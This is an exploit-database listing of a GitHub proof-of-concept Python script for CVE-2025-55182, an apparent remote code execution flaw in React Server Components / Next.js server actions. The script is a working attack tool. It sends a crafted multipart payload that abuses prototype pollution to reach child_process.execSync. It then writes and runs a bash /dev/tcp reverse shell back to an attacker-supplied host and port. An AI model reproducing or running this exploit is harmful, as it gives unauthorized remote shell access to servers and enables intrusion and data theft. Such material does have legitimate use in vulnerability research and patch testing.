Exploit database

GH-f41a0ab13516046a84cec42d32717cfa

sun977/cve-2025-55182

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2025-55182

257 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files3
sun977/cve-2025-55182Revision 5a0e9d7f2935

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exp.py

Python · 7,230 bytes
#!/usr/bin/env python3
# _*_ coding: utf-8 _*_

"""
Auth: Sun977
Function: Get shell by CVE-2025-55182
Usage: 
- python3 exp.py -t http://example.com:8080 -a 192.168.1.100:4444
Update: 2025-12-07
"""
import sys
import string
import random
import urllib3
import requests
import argparse


urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


# Banner
banner = """
╔═════════════════════════════════════════════════════════════════════╗
║                                                                     ║
║ ██████╗██╗   ██╗███████╗    ██████╗ ██████╗ ██████╗ ███████╗██████╗ ║
║██╔════╝██║   ██║██╔════╝    ██╔══██╗██╔══██╗██╔══██╗██╔════╝██╔══██╗║
║██║     ██║   ██║█████╗      ██║  ██║██████╔╝██████╔╝█████╗  ██████╔╝║
║██║     ╚██╗ ██╔╝██╔══╝      ██║  ██║██╔══██╗██╔═══╝ ██╔══╝  ██╔══██╗║
║╚██████╗ ╚████╔╝ ███████╗    ██████╔╝██║  ██║██║     ███████╗██║  ██║║
║ ╚═════╝  ╚═══╝  ╚══════╝    ╚═════╝ ╚═╝  ╚═╝╚═╝     ╚══════╝╚═╝  ╚═╝║
║                                                                     ║
║                     🔫 CVE-2025-55182 Exploit 🔫                    ║
║                                                                     ║
║                         Author: sun977                              ║
║                    Mail: [email protected]                      ║
║                                                                     ║
╚═════════════════════════════════════════════════════════════════════╝
═══════════════════════════════════════════════════════════════════════
"""

# 构造基础payload
payload_base_string = [
    "------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
    'Content-Disposition: form-data; name="0"\r\n\r\n'
    '{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,'
    '"value":"{\\"then\\":\\"$B1337\\"}","_response":{'
    '"_prefix":"var res=process.mainModule.require(\'child_process\')'
    ".execSync('%s').toString().trim();;"
    "throw Object.assign(new Error('NEXT_REDIRECT'),"
    "{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\","
    '"_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}\r\n'
    "------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
    'Content-Disposition: form-data; name="1"\r\n\r\n'
    '"$@0"\r\n'
    "------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
    'Content-Disposition: form-data; name="2"\r\n\r\n'
    "[]\r\n"
    "------WebKitFormBoundaryx8jO2oVc6SWP3Sad--\r\n"
]

# 构建基础header
request_headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.5993.90 Safari/537.36",
    "Next-Action": "x",
    "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad",
}

# 构建随机字符串
def randstr(n, pool=string.ascii_letters + string.digits):
    """返回 n 位随机字符串(默认字母+数字)"""
    return "".join(random.choices(pool, k=n))

# 攻击载荷生成器
# 替换payload中的占位符 %s 生成攻击载荷
def payload_generator(command: str, request_body: list):
    payload = request_body[0]
    return payload % str(command)

# 攻击命令构建器
# 1. 写入反弹shell命令的command
# 2. 执行反弹shell命令的command
# 3. 随机字符串,用于验证写入命令是否成功
def command_builder(attacker_vps: str):
    random_string = randstr(16)
    # 占位符 %s %s 用于替换攻击机的ip和port
    command_write_reverse_command = (
        'echo "bash -i >& /dev/tcp/%s/%s 0>&1" > /tmp/reverse.sh && echo %s'
        % (str(attacker_vps).split(":")[0], str(attacker_vps).split(":")[1], random_string)
    )
    command_execute_reverse_command = "bash /tmp/reverse.sh"
    write_reverse_command = payload_generator(command_write_reverse_command, payload_base_string)
    execute_reverse_command = payload_generator(command_execute_reverse_command, payload_base_string)
    return write_reverse_command, execute_reverse_command, random_string

# 格式化目标url
def target_check(target_url):
    if not (target_url.startswith("http://") or target_url.startswith("https://")):
        return False
    if not target_url.endswith("/"):
        target_url = target_url + "/"
    return True, target_url

# 获取shell
# 利用命令执行,先写入反弹shell命令,再执行反弹shell命令
# 需要事先开启攻击机监听
def get_shell(target_url, attacker_vps):
    global request_headers
    flag, target = target_check(target_url)
    if not flag:
        print("[-] Target Error: %s!" % str(target_url))
        sys.exit(0)
    write_reverse_command, execute_reverse_command, flag = command_builder(attacker_vps)
    try:
        response = requests.post(url=target, data=write_reverse_command, headers=request_headers, allow_redirects=False)
        if not str(response.headers).find(flag):
            sys.exit(0)
    except Exception as reason:
        print("[-] Write Attack Packet Error: %s" % str(reason))
        sys.exit(0)
    try:
        response = requests.post(url=target, data=execute_reverse_command, headers=request_headers, allow_redirects=False)
    except Exception as reason:
        print("[-] Execute Attack Packet Error: %s" % str(reason))
        sys.exit(0)

def print_help():
    print("Usage: python3 exp.py -t <target_url> -a <attacker_vps>")
    print("Options:")
    print("  -t, --target    Target URL (http://target_domain_url:port)")
    print("  -a, --attacker  Attacker VPS (attacker_vps:listening_port)")
    print("  -h, --help      Show this help message and exit")
    # print(banner)

if __name__ == "__main__":
    print(banner)
    parser = argparse.ArgumentParser(description="Python script for RSCGetShell", add_help=False)
    parser.add_argument("-t", "--target", required=True, help="Target URL")
    parser.add_argument("-a", "--attacker", required=True, help="Attacker VPS")
    parser.add_argument("-h", "--help", action="help", help="Show this help message and exit")

    try:
        args = parser.parse_args()
        get_shell(args.target, args.attacker)
    except SystemExit:
        print_help()
        sys.exit(1)